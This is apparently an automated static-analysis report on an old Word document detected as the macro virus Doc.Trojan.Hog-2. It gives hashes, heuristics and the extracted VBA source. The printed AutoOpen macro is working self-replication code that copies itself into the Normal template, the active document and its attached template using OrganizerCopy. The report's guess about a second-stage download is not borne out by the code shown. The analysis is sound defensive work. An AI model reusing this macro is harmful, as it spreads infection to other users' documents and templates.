Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 72b566bc51616d23…

MALICIOUS

Office (OLE)

36.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d590fc8a892333084259a977db28dbae SHA-1: e987cfe37088528b93415923d20db5f37d7bf0ad SHA-256: 72b566bc51616d2388d138d7982f5a7e5086c73c003d8b5b6b02fbde434b6ad3
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV and contains a legacy WordBasic AutoOpen macro, a common indicator of malicious documents. The AutoOpen macro is designed to execute automatically when the document is opened, likely to download and execute a second-stage payload. The VBA code is heavily truncated, preventing a full analysis of its specific actions.

Heuristics 4

  • ClamAV: Doc.Trojan.Hog-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hog-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2323 bytes
SHA-256: 0d28178a429ab443cbb7b23db9e9cabc0d4360a40955a9d2354071210c6ae401
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoNew"
Rem Del
Rem Del
Rem Del
Rem Del
Rem Del
Rem Deleted b



Sub main()
    Rem Deleted by AVP  D
    Rem Deleted by AVP  D
    
    Rem
  
    Rem Deleted
    Rem Deleted by AVP  Delet
    
    Rem Deleted
    Rem Deleted by AVP  Delet
    
    Rem Deleted
    Rem Deleted by AVP  Delet
    
    Rem Deleted
        Rem Del
        Rem Deleted by AVP  D
    End
        
    
   Rem Deleted by AV
   
   Rem Deleted by AVP  Deleted by AVP  Deleted by AVP  Deleted
        
   Rem Deleted by AVP  Deleted by AVP  Deleted by AVP  Deleted
        
   Rem Deleted by AVP  Deleted by AVP  Deleted by AVP  Deleted

    Rem Delet
    Rem Delet

End Sub


Attribute VB_Name = "AutoOpen"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)



Sub main()
    ar$(1) = "AutoNew"
    ar$(2) = "AutoOpen"
    
    On Error Resume Next
    
    With ActiveDocument
        For i = 1 To .Sections.Count
            With .Sections(i)
                For j = 0 To .Headers.Count
                
                Next j
            End With
        Next i
    End With
       
    mac$ = MacroContainer.Path
    mac$ = mac$ & "\" & MacroContainer.Name
    
    nor$ = NormalTemplate.Path
    nor$ = nor$ & "\" & NormalTemplate.Name
    
    doc$ = ActiveDocument.Path
    doc$ = doc$ & "\" & ActiveDocument.Name
    
    
    With ActiveDocument.AttachedTemplate
        tem$ = .Path
        tem$ = tem$ & "\" & .Name
    End With
        
    
   For n% = 1 To 2
   
   Application.OrganizerCopy Source:=mac$, _
        Destination:=nor$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=ActiveDocument, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=tem$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems

    Next n%
    
    ActiveDocument.Save

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.